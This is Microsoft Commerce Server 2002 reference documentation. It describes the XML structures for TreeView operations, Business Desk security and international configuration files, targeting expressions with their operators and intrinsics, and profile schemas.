For more information about how the posting of forms is used to perform operations on the server, including saving changes to data, see Saving Changes to Data.

Return to XML Structure

operations

This optional element contains other elements that, when present, cause certain custom XMLHTTP Operations to be performed when the reload method is invoked with certain parameter values.

Parent Element
document
Required Child Elements
None.
Optional Child Elements
expand, arbitrary_operations_elements
Data
None.
Attributes
None.

Remarks

If the operations element is present but contains no child elements, it is ignored.

Return to XML Structure

expand

This optional element identifies the form element that will be used to post the expansion request to the server.

Parent Element
operations
Required Child Elements
None.
Optional Child Elements
None.
Data
None.

Attributes

Attribute | Description
formid | Specifies the identifier of the form that will be posted when the OnItemOpen event fires and its handler calls the reload method with the sOp parameter set to "expand". Required. Legal values: Valid id attribute of a form element. Default value: None.

Remarks

There are two distinct types of expand elements that can occur in the DataXML data-island. This is the second type, which can occur within the operations element, and which serves to identify the form element that will be used to post the expansion request to the server.

Together, the two types of expand elements are used to perform a special type of XMLHTTP Operation available with the TreeView HTC. This operation allows the loading of the subordinate tree items to be deferred until the containing tree item is opened. In circumstances involving large numbers of items, such deferral can drastically improve the performance of the initial loading and display of the tree.

If any of the other type of expand elements exist in the DataXML data-island, then this expand element must be present, providing the ID of the form used to handle deferred item loading. The action attribute of this form must be set to the post page, the page that returns the new, expand section of the tree.

Like other HTTP/XML Operations, the new data returned from the post page on the server must not contain anything except the data in the standard XML data format.

The returned set of subordinate items actually replaces the expand element in the tree. This means that a particular expand operation will normally only occur once for each instantiation of the TreeView HTC.

For more information about XMLHTTP Operations, see XMLHTTP Operations and Fetch Pages.

This type of expand element is optional, but must be present if any of the other type of expand elements are present.

For more information about how the posting of forms is used to perform operations on the server, including saving changes to data, see Saving Changes to Data.

Return to XML Structure

custom_op

Custom operation elements correspond to custom XMLHTTP Operations defined for a TreeView HTC. When a custom operation element is present, the entire tree reloads when the reload method is called with its sOp parameter set to the custom name for the element.

For example, if the element alpha_sort is included as a custom operation, and the reload method is called with its sOp parameter set to "alpha_sort", the form with the specified identifier will be posted. For example,

elTreeView.reload("alpha_sort")
Parent Element
operations
Required Child Elements
None.
Optional Child Elements
None.
Data
None.

Attributes

Attribute | Description
formid | Specifies the identifier of the form that will be posted when the reload method is called with its sOp parameter set to the custom name for this element. Required. Legal values: Valid id attribute of a form element. Default value: None.

Remarks

For more information about XMLHTTP Operations, see XMLHTTP Operations and Fetch Pages.

The identifier of the corresponding form is set as an attribute. The action attribute of the form should be set to the post page, the page that returns the new tree data.

The following table shows the arguments that are automatically sent when the form is posted.

Argument | Description
op | The value of this attribute is set to "custom_op". This argument, combined with the post page specified as an attribute of the form, allows specific server-side code to be run in response to a particular invocation of the reload method. The op argument allows the same post page to process more than one operation, branching to perform different operations based on the value of this argument.

Additional arguments can be added to the form in the standard fashion: hidden input elements are embedded in the form, and the appropriate argument values are assigned to those input elements prior to the form being posted.

Custom operation elements are optional.

For more information about how the posting of forms is used to perform operations on the server, including saving changes to data, see Saving Changes to Data.

Return to XML Structure


Security Configuration

Extensible Markup Language (XML) structures are used by Commerce Server Business Desk to provide security information.

A master security configuration file is used to link multiple area security configuration files together into an overall structure. This section defines the structures of the master security configuration file and the area security configuration files.

This section contains:

  • Master Security Configuration File. Describes the XML structure of the master security configuration file that ties all area security configuration files together.
  • Area Security Configuration Structure and Files. Describes the XML structure of the area security configuration files that specify the security details of each individual area, and describes the ASP files that are used to generate the security information for the catalog and profile areas.


Master Security Configuration File

The file config\master_security_config.xml defines various security areas that are known to Commerce Server Business Desk. In addition to the one implicit security area for the Business Desk Framework (which is not specified in this file), Commerce Server 2002 defines two security areas: "catalog" and "profile". The specific security definitions for these two areas are provided by the ASP files config\bd_catalog_security_config.asp and config\bd_users_security_config.asp, respectively.

XML Structure

<config>
  <areas>
    <area definition_url name />
    . . .
  </areas>
</config>

config

This required element contains the security configuration information for Business Desk.

Parent Element
None (document root).
Required Child Elements
areas
Optional Child Elements
None.
Data
None.

Attributes

None.

Return to XML Structure

areas

This required element contains the definitions of the security areas for Business Desk.

Parent Element
config
Required Child Elements
None.
Optional Child Elements
area
Data
None.

Attributes

None.

Remarks

To be meaningful, the areas element must contain one or more area elements.

Return to XML Structure

area

This optional element defines a Business Desk security area and specifies the URL of the file that provides the security configuration for that area.

Parent Element
areas
Required Child Elements
None.
Optional Child Elements
None.
Data
None.

Attributes

Attribute Description
definition_url Specifies the URL of a security area file.

Required.

Legal values: Valid strings that evaluate to an XML or ASP file that returns a valid security configuration.

Default value: None.

For example, the URLs for the pre-defined security areas are:

  • bd_catalog_security_config.asp
  • bd_users_security_config.asp
name Specifies a name for the security area.

Required.

Legal values: Valid strings.

Default value: None.

For example, the pre-defined security areas are named "catalog" and "profile". There is also an implicit security area for the Business Desk Framework.

Remarks

For the security configuration to be meaningful, at least one area element must exist within the areas element.

Return to XML Structure


Area Security Configuration Structure and Files

The file config\master_security_config.xml specifies ASP files that define the specific security definitions for various security areas. These ASP files provide security definitions for their corresponding areas by returning XML in the structure defined in this topic. Commerce Server 2002 includes two such files: config\bd_catalog_security_config.asp and config\bd_users_security_config.asp, which define the security definitions for the security areas "catalog" and "profile", respectively. Refer to these files as models for creating similar files for any new security areas you define.

XML Structure

<config>
  <area displayname>
    <entities/>
      <entity display_name id >
        <elements>
          <element display_name id />
          . . .
        </elements>
        <rights>
          <right display_name id />
          . . .
        </rights>
      </entity>
      . . .
    </entities>
    . . .
  </area>
</config>

config

This required element contains the security configuration information for a particular security area.

Parent Element
None (document root).
Required Child Elements
area (at least one).
Optional Child Elements
None.
Data
None.

Attributes

None.

Return to XML Structure

area

This required element defines a Business Desk security area and contains all the elements and rights for that area.

Parent Element
None (document root).
Required Child Elements
entities
Optional Child Elements
None.
Data
None.

Attributes

Attribute | Description
displayname | Specifies a display name for this security area. Required. Legal values: Valid strings. Default value: None. This display name will be used in the Business Desk Security module.

Return to XML Structure

entities

This required element contains the definitions of the security entities for this security area.

Parent Element
area
Required Child Elements
entity (at least one is required).
Optional Child Elements
None.
Data
None.

Attributes

None.

Remarks

Security entities are conceptual categories of things that can be secured. For example, in the Business Desk Framework the built-in entities are "bdfw_category", "bdfw_module", and a dynamically-named entity for each task on an action page.

Return to XML Structure

entity

This required element contains the definitions of the security elements and rights for this entity.

Parent Element
entities
Required Child Elements
elements, rights (one of each)
Optional Child Elements
None.
Data
None.

Attributes

Attribute Description
displayname Specifies a display name for this security entity.

Required.

Legal values: Valid strings.

Default value: None.

This display name will be used in the Business Desk Security module.
id Specifies an internal identifier for this security entity.

Required.

Legal values: Valid strings.

Default value: None.

This identifier must be unique across all entities, regardless of the security area for which it is defined. This is why the Business Desk Framework, Profiling System, and the Product Catalog System all of define entities with a prefix that will make them unique: for instance the Product Catalog System defines “catalog_properties” instead of just “properties”.

This identifier will be returned as the Entity field in Recordset objects returned by the methods of the BizDeskSecurity object.

Remarks

A security entity is a conceptual category of things that can be secured. For example, the catalog "area" pre-defines the entities "property" and "catalog".

Return to XML Structure

elements

This required element contains the security elements defined for a particular security entity.

Parent Element
entity
Required Child Elements
element (at least one is required).
Optional Child Elements
None.
Data
None.

Attributes

None.

Remarks

Security elements are particular instances of a particular kind of security entity. For example, in the Business Desk Framework each of the modules defined in the module configuration files are security elements associated with the security entity "module".

Return to XML Structure

element

This required element specifies a particular security element for a particular security entity.

Parent Element
elements
Required Child Elements
None.
Optional Child Elements
None.
Data
None.

Attributes

Attribute | Description
displayname | Specifies a display name for a security element associated with a particular security entity. Required. Legal values: Valid strings. Default value: None. This display name will be used in the Business Desk Security module.
id | Specifies an internal identifier for this security element. Required. Legal values: Valid strings. Default value: None. This identifier will be returned as the Element field in Recordset objects returned by the methods of the BizDeskSecurity object.

Remarks

A security element is a particular instance of a particular kind of security entity. For example, the catalog "area" pre-defines the element "SKU" for its "property" entity.

Return to XML Structure

rights

This required element contains the security rights defined for a particular security entity.

Parent Element
entity
Required Child Elements
right (at least one is required).
Optional Child Elements
None.
Data
None.

Attributes

None.

Remarks

Security rights represent the various actions that are subject to being allowed or denied for a particular kind of security entity. For example, the catalog "area" only defines a single type of right, "edit", for both of its entities.

Return to XML Structure

right

This required element defines a type of action that will be allowed or denied for a particular security element of a particular security entity.

Parent Element
rights
Required Child Elements
None.
Optional Child Elements
None.
Data
None.

Attributes

Attribute | Description
displayname | Specifies a display name for a security right associated with a particular security element of a particular security entity. Required. Legal values: Valid strings. Default value: None. This display name will be used in the Business Desk Security module.
id | Specifies an internal identifier for this security right. Required. Legal values: Valid strings. Default value: None. This identifier will be returned as the Right field in Recordset objects returned by the methods of the BizDeskSecurity object.

Remarks

Because security rights define actions that can be allowed or denied, their display names are most commonly expressed as verbs, such as "edit" or "read".

Return to XML Structure


International Configuration

Extensible Markup Language (XML) structures are used by Commerce Server Business Desk to provide internationalization information. There are separate files for configuring information about different currencies and different languages, both of which are discussed in this section. This information is made available to modules through the xmlGetCurrencies() function in ASPUtil.asp. This routine returns an XML document resulting from an XSL transform of this file.

This section contains:

  • Currency Configuration. Describes the XML structure of the currency configuration file that provides information about different currencies.
  • Language Configuration. Describes the XML structure of the language configuration file that provides information about different languages.


Currency Configuration

The file config\currencies.xml defines various currencies that are known to Commerce Server Business Desk and which are available for modules to use.

XML Structure

<Currencies>
  <Currency display_name iso4217 />
  . . .
</Currencies>

Currencies

This required element contains the currency configuration information for Commerce Server Business Desk.

Parent Element
None (document root).
Required Child Elements
None.
Optional Child Elements
Currency
Data
None.

Attributes

None.

Remarks

To be meaningful, the Currencies element must contain one or more Currency elements.

Return to XML Structure

Currency

This optional element contains the configuration information about a single currency known to Business Desk.

Parent Element
Currencies
Required Child Elements
None.
Optional Child Elements
None.
Data
None.

Attributes

Attribute | Description
display_name | Specifies a display name for the corresponding currency. Required. Legal values: Valid strings. Default value: None. For example, the display name for US dollars is "United States Dollar".
iso4217 | Specifies the three-character ISO currency code for the corresponding currency. Required. Legal values: Valid ISO 4217 currency codes. Default value: None. The ISO 4217 currency code is usually composed of a two-character ISO 3166 country/region code followed by a one-character currency designator. Continuing the US dollar example, the code for US Dollars is simply the two-character ISO 3166 code for the United States (US) followed by a one-character currency designator (D), yielding "USD".

Remarks

For the currency configuration to be meaningful, at least one Currency element must exist within the Currencies element.

Return to XML Structure


Language Configuration

The file config\languages.xml defines various languages that are known to Commerce Server Business Desk and which are available for modules to use. This information is made available to modules through the xmlGetLanguages()function in ASPUtil.asp. This routine returns an XML document resulting from an XSL transform of this file.

XML Structure

<Languages>
  <Language collation browser_language display_name
            iso639x primary_language word_breaker />
  . . .
</Languages>

Valid values are the LCIDs of the languages for which wordbreakers are provided by SQL Server.

The hexadecimal numbers in the below table are valid values. The text represents the wordbreaker for that language.

0 Neutral 0x0804 Chinese_Simplified
0x0404 Chinese_Traditional
0x0413 Dutch
0x0809 English_UK
0x0409 English_US
0x040c French
0x0407 German
0x0410 Italian
0x0411 Japanese
0x0412 Korean
0x0c0a Spanish_Modern
0x041d Swedish_Default

Languages

This required element contains the language configuration information for Commerce Server Business Desk.

Parent Element
None (document root).
Required Child Elements
None.
Required Child Elements
Language
Data
None.

Attributes

None.

Remarks

To be meaningful, the Languages element must contain one or more Language elements. Multilingual aspects of the Product Catalog System are configured using this information. Examples include: the set of languages associated with a multilingual property, or the set of default values for that property, and the set of languages associated with a catalog. Usually interaction with the catalog occurs within the context of a certain language, either through a user interface selection or a programmatic setting. This means that all multilingual properties will expose (to a user interface) or return values associated with the current language selection or setting for that catalog.

Return to XML Structure

Language

This optional element contains the configuration information about a single language known to Business Desk.

Parent Element
Languages
Required Child Elements
None.
Optional Child Elements
None.
Data
None.

Attributes

Attribute | Description
collation | Specifies the SQL collation identifier for the corresponding language. Optional. Legal values: Valid SQL collation identifiers. Default value: None. If this attribute is not specified, as is the default, collation will default to the SQL default for the corresponding language.
culture_name | Specifies the culture name and follow the RFC 1766 standard in the format "<languagecode2>-<country/regioncode2>", where <languagecode2> is a lowercase two-letter code derived from ISO 639-1 and <country/regioncode2> is an uppercase two-letter code derived from ISO 3166. Required. Legal values: Valid RFC 1766 culture identifiers. For example, U.S. English is "en-US". Some culture names have prefixes that specify the script; for example, "Cy-" specifies the Cyrillic script, "Lt-" specifies the Latin script.
culture_code | Specifies the locale identifier (or LCID) following the RFC 1766 standard. This is represented as a four digit hex value prefixed with “0x”. Required. Legal values: Valid RFC 1766 locale identifiers. For example, U.S. English is "0x0409".
display_name | Specifies a display name for the corresponding language. Required. Legal values: Valid strings. Default value: None. For example, the display name for US English is "English (United States)".
iso639x | Specifies the ISO 639 two-character language code (plus an optional third character as used by Windows to identify sublanguages) for the corresponding language. Required. Legal values: Valid ISO 639x language codes. Default value: None. For example, the iso639x code for US English is "ENU".
word_breaker | Specifies the SQL word breaker to be used for the corresponding language. Optional. Legal values: Valid SQL word breakers. Default value: None. If this attribute is not specified, as is the default, the word breaker will default to the SQL default for the corresponding language.

Remarks

For the language configuration to be meaningful, at least one Language element must exist within the Languages element.

Return to XML Structure


Expression XML Structures

The expression Extensible Markup Language (XML) schema defines the form of expressions that can be used in Commerce Server 2002. The part of the expression that can be evaluated is stored as an XML string in the ExprBody field of an ActiveX Data Object (ADO) Recordset object. The Recordset objects are contained in a group of tables in the Commerce database known as the Expression Store. (See the PROFILES database table EX_ExprInfo.)

This section contains:

  • Expression Recordset Schema. Describes the XML expression recordset schema.
  • Expression Body Structure. Describes the XML structure, elements, and attributes of the expression body of the expression recordset. This is the evaluable part of the recordset.
  • Data Types and Operators. Describes the valid data types and operators.
  • Intrinsics. Describes the intrinsics, which are time and date properties evaluated on the server.
  • Expression Example. Provides an example of a valid XML expression.

See Also

Targeting Objects

Expression Recordset

ExpressionEval Object

ExpressionStore Object


Expression Recordset Schema

This section provides the Extensible Markup Language (XML) expression recordset schema. The evaluable part of an expression is contained in the ExprBody field of the recordset. For more information, see Expression Recordset. This schema is output when exporting expressions from the Expression Store and is required for importing expressions into the Expression Store from a file.

<xml xmlns:s='uuid:BDC6E3F0-6DA3-11d1-A2A3-00AA00C14882'
   xmlns:dt='uuid:C2F41010-65B3-11d1-A29F-00AA00C14882'
   xmlns:rs='urn:schemas-microsoft-com:rowset' xmlns:z='#RowsetSchema'>
<s:Schema id='RowsetSchema'>
   <s:ElementType name='row' content='eltOnly' rs:CommandTimeout='300'
      rs:ReshapeName='DSRowset1'>
      <s:AttributeType name='ExprID' rs:number='1'>
         <s:datatype dt:type='int' dt:maxLength='4' rs:precision='10'
            rs:fixedlength='true' rs:maybenull='false'/>
      </s:AttributeType>
      <s:AttributeType name='ExprName' rs:number='2'
         rs:writeunknown='true'>
         <s:datatype dt:type='string' dt:maxLength='30'
            rs:maybenull='false'/>
      </s:AttributeType>
      <s:AttributeType name='Category' rs:number='3' rs:nullable='true'
         rs:writeunknown='true'>
         <s:datatype dt:type='string' dt:maxLength='30'/>
      </s:AttributeType>
      <s:AttributeType name='ExprDesc' rs:number='4' rs:nullable='true'
         rs:writeunknown='true'>
         <s:datatype dt:type='string' dt:maxLength='200'/>
      </s:AttributeType>
      <s:AttributeType name='ExprBody' rs:number='5'
         rs:writeunknown='true'>
         <s:datatype dt:type='string' dt:maxLength='3400'
            rs:maybenull='false'/>
      </s:AttributeType>
      <s:AttributeType name='DateCreated' rs:number='6'
         rs:writeunknown='true'>
         <s:datatype dt:type='dateTime' rs:dbtype='timestamp'
            dt:maxLength='16' rs:scale='3' rs:precision='23'
            rs:fixedlength='true' rs:maybenull='false'/>
      </s:AttributeType>
      <s:AttributeType name='DateModified' rs:number='7'
         rs:writeunknown='true'>
         <s:datatype dt:type='dateTime' rs:dbtype='timestamp'
            dt:maxLength='16' rs:scale='3' rs:precision='23'
            rs:fixedlength='true' rs:maybenull='false'/>
      </s:AttributeType>
      <s:ElementType name='rsExprDeps' content='eltOnly'
         rs:CommandTimeout='300' rs:ReshapeName='DSRowset2'
         rs:relation='010000000100000000000000'>
         <s:AttributeType name='ExprID' rs:number='1'
            rs:writeunknown='true'>
            <s:datatype dt:type='int' dt:maxLength='4' rs:precision='10'
               rs:fixedlength='true' rs:maybenull='false'/>
         </s:AttributeType>
         <s:AttributeType name='ExprDep' rs:number='2'
            rs:writeunknown='true'>
            <s:datatype dt:type='int' dt:maxLength='4' rs:precision='10'
               rs:fixedlength='true' rs:maybenull='false'/>
         </s:AttributeType>
         <s:extends type='rs:rowbase'/>
      </s:ElementType>
      <s:ElementType name='rsProfDeps' content='eltOnly'
         rs:CommandTimeout='300' rs:ReshapeName='DSRowset3'
         rs:relation='010000000100000000000000'>
         <s:AttributeType name='ExprID' rs:number='1'
            rs:writeunknown='true'>
            <s:datatype dt:type='int' dt:maxLength='4' rs:precision='10'
               rs:fixedlength='true' rs:maybenull='false'/>
         </s:AttributeType>
         <s:AttributeType name='ProfDep' rs:number='2'
            rs:writeunknown='true'>
            <s:datatype dt:type='string' dt:maxLength='128'
               rs:maybenull='false'/>
         </s:AttributeType>
         <s:extends type='rs:rowbase'/>
      </s:ElementType>
      <s:extends type='rs:rowbase'/>
   </s:ElementType>
</s:Schema>

For more information, see Expression Recordset.


Expression Body Structure

This section describes the Extensible Markup Language (XML) structure, elements, and attributes of the expression body of the expression recordset. The expression body is the evaluable part of the recordset and is generally referred to as the expression. All elements and attributes are specified in uppercase. The only exception to this rule is the <PROPERTY> element.

In the following example, capitalized names refer to the elements of the XML structure. The first occurrence of each element is linked to documentation on that element. Names in italic are attributes associated with each element. Bold italic signifies attributes that are required. Lowercase values represent data that is contained between the opening and closing element tags. For more information, see Expression Example.

<TERM TYPE>
   <CLAUSE OPER>
      <PROPERTY ID TYPE SUBTYPE />
      <IMMED-VAL TYPE SUBTYPE MULTIVAL>
         <VALUE>value1</VALUE>
         <VALUE>value2</VALUE>
      </IMMED-VAL>
   </CLAUSE>
   <CLAUSE OPER>
      <EXPR-REF ID />
   </CLAUSE>
   <TERM TYPE>
      <CLAUSE OPER>
         <PROPERTY ID TYPE SUBTYPE />
         <IMMED-VAL TYPE SUBTYPE MULTIVAL>immediate value</IMMED-VAL>
      </CLAUSE>
      <CLAUSE OPER>
      </CLAUSE>
   </TERM>
</TERM>

CLAUSE

CLAUSE elements are the building blocks of expressions and evaluate to either True or False. CLAUSE elements contain an operator attribute and one or two arguments listed as child elements. CLAUSE elements can be grouped together by TERM elements to create more complex expressions. A CLAUSE element along with its child elements represents one of the following operations:

  • [profile property] [operator] [immediate value]
  • [profile property] [operator] [profile property]
  • [profile property] [operator]
  • [intrinsic] [operator] [immediate value]
  • [intrinsic] [operator]
  • [expression] [operator]

Parent Elements: TERM

Child Elements: EXPR-REF, IMMED-VAL, PROPERTY

Attributes:

Name | Description
OPER | Required. Specifies the operator to be used to evaluate the child arguments.

See Also

TERM

EXPR-REF

IMMED-VAL

PROPERTY

EXPR-REF

Expressions can be built from other expressions, allowing larger, more complex expressions. Expressions are referred to by their unique IDs (an integer value), not their names. The only valid operators for the EXPR-REF element are "is-true" and "is-false".

Parent Elements: CLAUSE

Child Elements: None

Attributes:

Name | Description
ID | Required. An integer that is the ID of the expression to evaluate.

See Also

CLAUSE

IMMED-VAL

The IMMED-VAL element represents a hard-coded value used to check the preceding profile PROPERTY element against. For example, the number "25" and the string "Joe" are both immediate values. Immediate values can be either single-valued or multi-valued, and have a specific data type.

Parent Elements: CLAUSE

Child Elements: VALUE (when MULTIVAL = "True")

Data: Valid types - bool, currency, date, number, siteterm, string, time

Attributes:

Name | Description
TYPE | Required. Valid types are: bool, currency, date, datetime, number, siteterm, string, and time.
SUBTYPE | Specifies the sub-type of the property, if appropriate. For example, when TYPE = "siteterm", the value of the SUBTYPE attribute is the appropriate path for accessing the site-term in the Site Terms store. The default is "".
MULTIVAL | A bool that defaults to False. In this case, a single value is specified between the opening and closing tags. True indicates that the immediate value is multi-valued. In this case, the list of values is specified as a sequence of VALUE tags between the opening and closing tags.

See Also

CLAUSE

VALUE

PROPERTY

The PROPERTY element represents a profile property, a catalog property, or intrinsic that is the actual data being evaluated. This is the property which helps differentiate expressions into its two types: Target Expressions and Catalog Expressions.

Profile properties can be either single-valued or multi-valued, and have a specific data type. When a profile property is specified as the only argument (child element) of a CLAUSE element, the only valid operators are "is-defined" and "not-defined". An exception to the all uppercase syntax rule, this element is specified as <Property> if an expression containing it should appear in the Campaign Expressions module in Business Desk.

Note

  • When building an expression, all profile properties in the expression must be from the same data source (for example, all from SQL Server databases, or all from Active Directory).

Parent Elements: TERM

Child Elements: CODE, EXPR-REF, IMMED-VAL, PROPERTY

Attributes:

Name | Description
ID | Required. Specifies the profile property or intrinsic.
TYPE | Required. Valid types are: bool, currency, date, datetime, number, siteterm, string, and time. A generic type is also supported for the "is-defined" and "not-defined" operators.
SUBTYPE | Specifies the sub-type of the property, if appropriate. For example, when TYPE = "siteterm", the value of the SUBTYPE attribute may be "Site Terms.Products.Cars.Colors". The default is "".

See Also

TERM

EXPR-REF

IMMED-VAL

Intrinsics

TERM

The TERM element evaluates a group of CLAUSE elements according to some logic function. Currently, the expression architecture supports the following Boolean logic operations: AND, OR, and NOT. TERM elements can be further grouped together, along with additional CLAUSE elements, to form more complex expressions.

Parent Elements: TERM

Child Elements: CLAUSE, TERM

Attributes:

Name | Description
TYPE | Required. This attribute specifies how the containing TERM elements and CLAUSE elements are logically combined. Valid values are: AND, OR, NOT

See Also

CLAUSE

VALUE

The VALUE element is used to specify the individual values of a multi-valued IMMED-VAL element.

Parent Elements: IMMED-VAL

Child Elements: None

Data: Valid types - bool, currency, date, datetime, number, siteterm, string, and time

Attributes: None

See Also

IMMED-VAL

Copyright © 1996–2002 Microsoft Corporation.
All rights reserved.


Data Types and Operators

This section describes the valid data types and operators used in the expression body of the expression recordset. An operator is applied to the child element(s) of the CLAUSE element. The following structure:

      <CLAUSE OPER>
         <PROPERTY />
         <IMMED-VAL></IMMED-VAL>
      </CLAUSE>

represents an operation of the form:

      Operator
         Argument1
         Argument2

which is easier to interpret as:

      Argument1 Operator Argument2

For example:

      <CLAUSE OPER="equal" >
         <PROPERTY ID="user.hair.color" TYPE="string" />
         <IMMED-VAL TYPE="string">"brown"</IMMED-VAL>
      </CLAUSE>

results in the evaluation of the expression:

      "user.hair.color" = "brown" ?

Data types are specified in the PROPERTY and IMMED-VAL elements, which are child elements of the CLAUSE element. The expression architecture supports the following data types: bool, currency, date, datetime, number, siteterm, string, and time. A generic data type (not recognized as from the previous list) may be used, but with a limited set of operators. For CLAUSE elements with two arguments, the data types must match.

The valid operators for each data type are specified in the following tables. The MV column specifies which arguments, if any, can be multi-valued. All operators must be specified in lowercase.

Bool

Operator | MV | Description
equal | None | Returns true if arg1 = arg2
not-equal | None | Returns true if arg1 != arg2

Currency, Number

Operator | MV | Description
equal | None | Returns true if arg1 = arg2
not-equal | None | Returns true if arg1 != arg2
greater-than | None | Returns true if arg1 > arg2
less-than | None | Returns true if arg1 < arg2
at-least | None | Returns true if arg1 >= arg2
at-most | None | Returns true if arg1 <= arg2
in | Arg2 | Returns true if arg1 appears anywhere in the list in arg2
not-in | Arg2 | Returns true if arg1 appears nowhere in the list in arg2
contains | Arg1 | Returns true if arg2 appears anywhere in the list in arg1
not-contains | Arg1 | Returns true if arg2 appears nowhere in the list in arg1
intersects | Both | Returns true if the intersection of the lists arg1 and arg2 is not the empty set
not-intersects | Both | Returns true if the intersection of the lists arg1 and arg2 is the empty set

Date, Time, Datetime

Operator | MV | Description
equal | None | Returns true if arg1 = arg2
not-equal | None | Returns true if arg1 != arg2
before | None | Returns true if arg1 is before arg2
after | None | Returns true if arg1 is after arg2
on-or-before | None | Returns true if arg1 is the same as or before arg2
on-or-after | None | Returns true if arg1 is the same as or after arg2
in | Arg2 | Returns true if arg1 appears anywhere in the list in arg2
not-in | Arg2 | Returns true if arg1 appears nowhere in the list in arg2
contains | Arg1 | Returns true if arg2 appears anywhere in the list in arg1
not-contains | Arg1 | Returns true if arg2 appears nowhere in the list in arg1
intersects | Both | Returns true if the intersection of the lists arg1 and arg2 is not the empty set
not-intersects | Both | Returns true if the intersection of the lists arg1 and arg2 is the empty set

Expression

An expression is not a data type of the PROPERTY and IMMED-VAL elements. An expression is an integer value that is evaluated as part of the EXPR-REF element. It is included in the following table for completeness in describing the available operators.

Operator | MV | Description
is-true | None | Returns true if specified expression is true
is-false | None | Returns true if specified expression is false

Generic

If a profile PROPERTY element is specified as the only argument (child element) of a CLAUSE element, any generic data type can be used with the operators listed in the following table.

Operator | MV | Description
is-defined | None | Returns true if the property is defined. Returns false if this argument is missing.
not-defined | None | Returns true if the property is not defined or if this argument is missing.

Siteterm

Operator | MV | Description
equal | None | Returns true if arg1 = arg2
not-equal | None | Returns true if arg1 != arg2
in | Arg2 | Returns true if arg1 appears anywhere in the list in arg2
not-in | Arg2 | Returns true if arg1 appears nowhere in the list in arg2
contains | Arg1 | Returns true if arg2 appears anywhere in the list in arg1
not-contains | Arg1 | Returns true if arg2 appears nowhere in the list in arg1
intersects | Both | Returns true if the intersection of the lists arg1 and arg2 is not the empty set
not-intersects | Both | Returns true if the intersection of the lists arg1 and arg2 is the empty set

String

Operator | MV | Description
equal | None | Returns true if arg1 = arg2.
not-equal | None | Returns true if arg1 != arg2.
contains | None | Returns true if arg2 appears anywhere in arg1. (For example, "Donnie" contains "nn".)
not-contains | None | Returns true if arg2 does not appear anywhere in arg1. (For example, "flintstone" does not contain "stones".)
begins-with | None | Returns true if the first part of arg2 matches arg1.
not-begins-with | None | Returns true if the first part of arg2 does not match arg1.
in | Arg2 | Returns true if arg1 appears anywhere in the list in arg2.
not-in | Arg2 | Returns true if arg1 appears nowhere in the list in arg2.
contains | Arg1 | Returns true if arg2 appears anywhere in the list in arg1.
not-contains | Arg1 | Returns true if arg2 appears nowhere in the list in arg1.
intersects | Both | Returns true if the intersection of the lists arg1 and arg2 is not the empty set.
not-intersects | Both | Returns true if the intersection of the lists arg1 and arg2 is the empty set.


Intrinsics

Intrinsics are time and date properties that are evaluated on the server. They are specified in the ID attribute of the Property element. The following table lists the available intrinsics, what they resolve to, and the data types they are evaluated against.

Name | Resolves to | Type/SubType
eee.currDate | date | date
eee.currTime | time | time
eee.currDayOfWeek | 0 - Sunday 1 - Monday 2 - Tuesday 3 - Wednesday and so on | siteterm/CalendarSiteTerms.Days (number)
eee.currMonth | 0 - January 1 - February 2 - March and so on | siteterm/CalendarSiteTerms.Months (number)
eee.currYear | number | number
eee.yesterday | date | date

Internally, dates and times are handled in variant time format. For more information about the variant time format, see MSDN.

Intrinsic Examples

The following example tests whether the current day of the week is Wednesday:

      <CLAUSE OPER="equal">
         <PROPERTY ID="eee.currDayOfWeek" TYPE="siteterm" />
         <IMMED-VAL TYPE="siteterm" SUBTYPE="CalendarSiteTerms.Days">
            3</IMMED-VAL>
      </CLAUSE>


Expression Example

The following example, based on a hypothetical User profile, evaluates to True for all users with the following attributes:

  • Baseball and jai alai are their favorite sports,
  • They are at least 65 years old, and
  • They either have a home area code of 425, or
  • The expression with an ID of 34 is True

Another way of representing these attributes is:

(Baseball and jai alai are their favourite sports AND [They are at least 65 years old AND{They either have a home are code of 425 OR The expression with an ID of 34 is True}])

<TERM TYPE="and">
   <CLAUSE OPER="in">
      <PROPERTY ID="User.FavoriteSports" TYPE="string" />
      <IMMED-VAL TYPE="string" MULTIVAL="True">
         <VALUE>baseball</VALUE>
         <VALUE>jai alai</VALUE>
      </IMMED-VAL>
   </CLAUSE>

   <TERM TYPE="and">
      <CLAUSE OPER="at-least">
         <PROPERTY ID="User.Age" TYPE="number" />
         <IMMED-VAL TYPE="number">65</IMMED-VAL>
      </CLAUSE>

      <TERM TYPE="or">
         <CLAUSE OPER="begins-with">
            <PROPERTY ID="User.ContactInfo.HomePhone" TYPE="string" />
            <IMMED-VAL TYPE="string">425</IMMED-VAL>
         </CLAUSE>
         <CLAUSE OPER="is-true">
            <EXPR-REF ID="34" />
         </CLAUSE>
      </TERM>
   </TERM>
</TERM>

The following is a catalog example:

Manufacturer equal to Apparel Inc. AND productID equals A1234 AND (isDiscountable is equal to 1 OR onSale is equal to 1)

<TERM TYPE="and">
<CLAUSE OPER="equal">
<Property ID="product._product_Manufacturer" TYPE="STRING"/>
<IMMED-VAL TYPE="string"><![CDATA[Apparel Inc.]]></IMMED-VAL>
</CLAUSE>
<CLAUSE OPER="equal">
<Property ID="product._product_ProductID" TYPE="STRING"/>
<IMMED-VAL TYPE="string"><![CDATA[A1234]]></IMMED-VAL>
</CLAUSE>
<TERM TYPE="or">
<CLAUSE OPER="equal">
<Property ID="product._product_OnSale" TYPE="NUMBER"/>
<IMMED-VAL TYPE="number">1</IMMED-VAL>
</CLAUSE>
<CLAUSE OPER="equal">
<Property ID="product._product_isDiscountable" TYPE="NUMBER"/>
<IMMED-VAL TYPE="number">1</IMMED-VAL>
</CLAUSE>
</TERM>
</TERM>


Profile XML Structures

This document contains the XML representations of the profile schemas and run time instances for the profiles (Address, Organization, and UserObject) defined in Microsoft Commerce Server 2002. The ProfileService and ProfileObject objects expose methods that return these representations.

This section contains:

  • Schemas. Shows the XML representation of the profile schemas.
  • Run Time Representations. Shows the XML run time representation for the profiles.

See Also

Profiling System Objects

Profiles Schema

ProfileObject Object

ProfileService Object


Schemas

This section shows the attribute-centric Extensible Markup Language (XML) schema definitions for the profiles defined in Commerce Server 2002. These definitions are identical to what is returned by the GetProfileDefXML method (with the bNamesOnly parameter set to False) of the ProfileService object, and to what is returned by the GetProfileXML method (with the eRetrieveEnum parameter set to psRetrieveSchemaOnly) of the ProfileObject object.

This section contains:

  • Address Schema. Shows the attribute-centric schema for the Address profile, which stores both user and organization addresses.
  • Organization Schema. Shows the attribute-centric schema for the Organization profile, which stores information about organizations (trading partners, home companies, subsidiaries, and so forth).
  • UserObject Schema. Shows the attribute-centric schema for the UserObject profile, which stores information about both registered and anonymous users.


